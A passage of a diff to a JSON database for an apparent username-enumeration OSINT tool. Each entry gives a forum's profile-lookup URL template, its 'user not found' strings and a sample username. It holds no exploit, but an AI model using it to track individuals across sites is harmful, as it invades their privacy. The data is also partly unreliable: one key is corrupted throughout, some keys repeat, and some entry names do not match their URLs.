"marii", + "bad_site": "" + }, + "Forum_rhytmic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rhytmic.borda.ru/?32-{}", + "urlMain": "https://rhytmic.borda.ru", + "usernameON": "mammy", + "bad_site": "" + }, + "Forum_ribalka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ribalka.ucoz.org/index/8-0-{}", + "urlMain": "http://ribalka.ucoz.org", + "usernameON": "Андрей0508", + "bad_site": "" + }, + "Forum_richelieu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rieltori.narod2.ru/index/8-0-{}", + "urlMain": "http://rieltori.narod2.ru", + "usernameON": "natayovzhik", + "bad_site": "" + }, + "Forum_riga-luna": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://riga-luna.ucoz.ru/index/8-0-{}", + "urlMain": "https://riga-luna.ucoz.ru", + "usernameON": "Talahassy", + "bad_site": "" + }, + "Forum_rima-pendzhieva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}", + "urlMain": "https://rima-pendzhieva.ucoz.ru", + "usernameON": "morozov2112", + "bad_site": "" + }, + "Forum_rio4": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rio4.ucoz.ru/index/8-0-{}", + "urlMain": "https://rio4.ucoz.ru/", + "usernameON": "Fakskaxip", + "bad_site": "" + }, + "Forum_rkls76": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rkls76.ucoz.ru/index/8-0-{}", + "urlMain": "https://rkls76.ucoz.ru", + "usernameON": "JosephBon", + "bad_site": "" + }, + "Forum_rks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует ", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.rks.kr.ua", + "usernameON": "Mistika24", + "bad_site": "" + }, + "Forum_rllmukforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "0 results", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.rllmukforum.com", + "usernameON": "yakumo", + "bad_site": "" + }, + "Forum_rmmedia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.", + "errorMsg2": "<title>Полезные пользователи | Rmmedia.ru", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://rmmedia.ru/members/?username={}", + "urlMain": "https://rmmedia.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_rmrp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rmrp.ru/members/?username={}", + "urlMain": "https://forum.rmrp.ru", + "usernameON": "alqoile", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadbikereview": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.roadbikereview.com/members/?username={}", + "urlMain": "https://www.roadbikereview.com", + "usernameON": "finx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadcontrol_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "page_pageNotFound", + "errorTyp��": "message", + "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://roadcontrol.org", + "usernameON": "%D0%90ndrew", + "bad_site": "" + }, + "Forum_rock-metalwave": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rock-metal-wave.ru/index/8-0-{}", + "urlMain": "https://rock-metal-wave.ru", + "usernameON": "0919swdsnb", + "bad_site": "" + }, + "Forum_rodgers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://rodgersforum.borda.ru/?32-{}", + "urlMain": "https://rodgersforum.borda.ru", + "usernameON": "hata1979", + "bad_site": "" + }, + "Forum_rodniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rodniki.do.am/index/8-0-{}", + "urlMain": "http://rodniki.do.am", + "usernameON": "N278", + "bad_site": "" + }, + "Forum_rodnovira": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rodnovira.ucoz.ru/index/8-0-{}", + "urlMain": "https://rodnovira.ucoz.ru", + "usernameON": "vioooila", + "bad_site": "" + }, + "Forum_rodoslav": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0", + "urlMain": "http://www.rohitab.com", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Forum_rokslide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rokslide.com/forums/members/?username={}", + "urlMain": "https://rokslide.com", + "usernameON": "ukisan", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rollerclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorMsg3": "Срок регистрации домена истек", + "errorTyp��": "message", + "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.rollerclub.ru", + "usernameON": "snb", + "bad_site": "" + }, + "Forum_Rollitup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.rollitup.org/members/?username={}", + "urlMain": "https://www.rollitup.org", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_romhacking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://romhacking.ru/index/8-0-{}", + "urlMain": "https://romhacking.ru", + "usernameON": "debbietk1", + "bad_site": "" + }, + "Forum_romkaq": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://romkaq.ucoz.ru/index/8-0-{}", + "urlMain": "http://romkaq.ucoz.ru", + "usernameON": "luntik333vlz", + "bad_site": "" + }, + "Forum_root_cern": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://root-forum.cern.ch/u/{}/summary", + "urlMain": "https://root-forum.cern.ch", + "usernameON": "bellenot", + "bad_site": "" + }, + "Forum_rosalinux": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего", + "errorTyp��": "message", + "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rosalinux.ru", + "comments": "cf", + "usernameON": "Kelpee", + "bad_site": "" + }, + "Forum_rosen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rosen.com/u/{}/summary", + "urlMain": "https://forum.rosen.com", + "usernameON": "rdu2018", + "bad_site": "" + }, + "Forum_roses": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://roses.ucoz.ru/index/8-0-{}", + "urlMain": "https://roses.ucoz.ru", + "usernameON": "Roses", + "bad_site": "" + }, + "Forum_rostov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum-rostov.ucoz.org/index/8-0-{}", + "urlMain": "https://forum-rostov.ucoz.org", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_rotarusofi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rotarusofi.ucoz.ru/index/8-0-{}", + "urlMain": "https://rotarusofi.ucoz.ru", + "usernameON": "Zvezdochka", + "bad_site": "" + }, + "Forum_rottweiler": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://rottweiler.ucoz.ru/index/8-0-{}", + "urlMain": "http://rottweiler.ucoz.ru/", + "usernameON": "Лекс2003", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_router": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.routerforums.com/members/?username={}", + "urlMain": "https://www.routerforums.com", + "usernameON": "difalkner", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_royalcaribbeanblog": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.royalcaribbeanblog.com/", + "usernameON": "mamashark", + "bad_site": "" + }, + "Forum_rpg_net": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rpg.net/members/?username={}", + "urlMain": "https://forum.rpg.net", + "usernameON": "muddypaw", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgcodex": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rpgcodex.net/forums/members/?username={}", + "urlMain": "https://rpgcodex.net", + "usernameON": "jed", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgnuke": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.rpgnuke.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Rt20_getbb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111", + "urlMain": "http://www.rt20.getbb.ru", + "usernameON": "vevk", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_ru-xbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ru-xbox.ru/index/8-0-{}", + "urlMain": "https://ru-xbox.ru", + "usernameON": "D1mkanx", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ru_minecraft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ru-minecraft.ru/user/{}", + "urlMain": "https://ru-minecraft", + "usernameON": "dedepete", + "bad_site": "" + }, + "Forum_rudtp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rudtp.ru/members/?username={}", + "urlMain": "https://forum.rudtp.ru/", + "usernameON": "irma190", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_rugby": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio con", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rugby.it", + "usernameON": "admin", + "comments": "super", + "bad_site": 1 + }, + "Forum_rumyantsevo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rurip.ucoz.ru/index/8-0-{}", + "urlMain": "https://rurip.ucoz.ru", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_rus-sv-relig": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rus-sv.ucoz.ru/index/8-0-{}", + "urlMain": "https://rus-sv.ucoz.ru/", + "usernameON": "%D0%9E%D0%BB%D0%B0", + "bad_site": "" + }, + "Forum_rus_pravda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://русскаяправда.su/index/8-0-{}", + "urlMain": "http://русскаяправда.su", + "usernameON": "PashaAlexpit", + "bad_site": "" + }, + "Forum_rusartknife": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rushistory.3dn.ru/index/8-0-{}", + "urlMain": "https://rushistory.3dn.ru", + "usernameON": "uesterr", + "bad_site": "" + }, + "Forum_rusich_ua": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rusich.at.ua/index/8-0-{}", + "urlMain": "https://rusich.at.ua", + "usernameON": "gh1990", + "bad_site": "" + }, + "Forum_ruskeys": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ruskeys.forum24.ru/?32-{}", + "urlMain": "https://ruskeys.forum24.ru/", + "usernameON": "aboc4", + "bad_site": "" + }, + "Forum_ruspatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ruspatriot.ucoz.ru/index/8-0-{}", + "urlMain": "https://ruspatriot.ucoz.ru/", + "usernameON": "emailomaempochty", + "bad_site": "" + }, + "Forum_russiainwar": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russian-france.ru/index/8-0-{}", + "urlMain": "http://russian-france.ru", + "usernameON": "Airin", + "bad_site": "" + }, + "Forum_russianskyeterriers": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russims.ru/index/8-0-{}", + "urlMain": "http://russims.ru", + "usernameON": "Nikolette", + "bad_site": "" + }, + "Forum_russkie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://russkie.ucoz.ru/index/8-0-{}", + "urlMain": "https://russkie.ucoz.ru", + "usernameON": "russkie", + "bad_site": "" + }, + "Forum_rvnetwork": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rvnetwork.com/", + "usernameON": "GeorgiaHybrid", + "bad_site": "" + }, + "Forum_rwg_cc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members", + "urlMain": "https://rwg.cc", + "usernameON": "Mike", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rx7fb": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://www.rx7fb.com", + "usernameON": "Hellramsden", + "bad_site": "" + }, + "Forum_ryazandog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://rybnoe.net/index/8-0-{}", + "urlMain": "https://rybnoe.net", + "usernameON": "alavatsky", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rzn": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rzn.info", + "usernameON": "Williamhar", + "bad_site": "" + }, + "Forum_rzngmu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rzngmu.ru/index/8-0-{}", + "urlMain": "http://rzngmu.ru/", + "usernameON": "artem300", + "bad_site": "" + }, + "Forum_s-kh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.s-kh.ru/index/8-0-{}", + "urlMain": "http://www.s-kh.ru", + "usernameON": "fillkenna", + "bad_site": "" + }, + "Forum_s4me": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.s4me.info/members/?username={}", + "urlMain": "https://www.s4me.info", + "usernameON": "adrian", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_s7staff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://s7staff.kamrbb.ru", + "usernameON": "yadn", + "bad_site": "" + }, + "Forum_sabnzbd": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sabnzbd.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_saddoboxing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registere", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}", + "urlMain": "https://www.saddoboxing.com", + "usernameON": "Beanz", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_safakulevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://safakulevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://safakulevo.ucoz.ru", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_sailboards": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://sailboardsforum.com", + "usernameON": "Arf", + "bad_site": "" + }, + "Forum_sailingforums": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sailingforums.com/members/?username={}", + "urlMain": "https://sailingforums.com", + "usernameON": "sweetime", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sailnet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sailnet.com/members/?username={}", + "urlMain": "https://www.sailnet.com", + "usernameON": "colemj", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_saintsrowmods": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.saintsrowmods.com/forum/members/?username={}", + "urlMain": "https://www.saintsrowmods.com", + "usernameON": "elchuy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_salekhardnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://salekhardnews.ucoz.ru/index/8-0-{}", + "urlMain": "https://salekhardnews.ucoz.ru", + "usernameON": "ACID", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_salfetka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salfetka.at.ua/index/8-0-{}", + "urlMain": "https://salfetka.at.ua", + "usernameON": "Yarinka", + "bad_site": "" + }, + "Forum_salo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salo.ucoz.ru/index/8-0-{}", + "urlMain": "https://salo.ucoz.ru", + "usernameON": "Vitalinestik", + "bad_site": "" + }, + "Forum_salon-gala": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salon-gala.moy.su/index/8-0-{}", + "urlMain": "https://salon-gala.moy.su", + "usernameON": "hairs", + "bad_site": "" + }, + "Forum_salsa": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.salsaforums.com/members/?username={}", + "urlMain": "https://www.salsaforums.com", + "usernameON": "so1001", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_samara-clad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://samara-clad.ru/index/8-0-{}", + "urlMain": "http://samara-clad.ru", + "usernameON": "Dersu", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_samara-gaming": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samara-gaming.clan.su/index/8-0-{}", + "urlMain": "https://samara-gaming.clan.su", + "usernameON": "deirdremo3", + "bad_site": "" + }, + "Forum_samarahunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://samarahunter.ru/forums/member.php?username={}", + "urlMain": "http://samarahunter.ru", + "usernameON": "Lonsdale", + "bad_site": "" + }, + "Forum_samatow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samatow.my1.ru/index/8-0-{}", + "urlMain": "https://samatow.my1.ru/", + "usernameON": "plats", + "bad_site": "" + }, + "Forum_samimiyat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samimiyat.ucoz.net/index/8-0-{}", + "urlMain": "https://samimiyat.ucoz.net", + "usernameON": "MaRJoNa", + "bad_site": "" + }, + "Forum_samovar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.samovar-forum.ru/index/8-0-{}", + "urlMain": "https://www.samovar-forum.ru", + "usernameON": "MrKoteika", + "bad_site": "" + }, + "Forum_samp-rp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://samp-rp.online/members/?username={}", + "urlMain": "https://samp-rp.online", + "usernameON": "allen_tyanytov", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_samp-sektor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.samp-sektor-2.ru/index/8-0-{}", + "urlMain": "http://www.samp-sektor-2.ru", + "usernameON": "wellnemo7", + "bad_site": "" + }, + "Forum_samp-top": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://samp-top.at.ua/index/8-0-{}", + "urlMain": "https://samp-top.at.ua", + "usernameON": "Diablo", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_samru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация отсутствует", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html", + "urlMain": "https://www.samru.ru", + "usernameON": "Ken", + "bad_site": "" + }, + "Forum_sanatorii": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Санатории Беларуси Белоруссии • Информация", + "errorMsg3": "SQL ERROR", + "errorTyp��": "message", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.sanatorii.by", + "usernameON": "pavlovich", + "bad_site": "" + }, + "Forum_sannata": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.phantom.sannata.org", + "usernameON": "RafGul", + "bad_site": "" + }, + "Forum_santacruz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.santacruzforums.com/members/?username={}", + "urlMain": 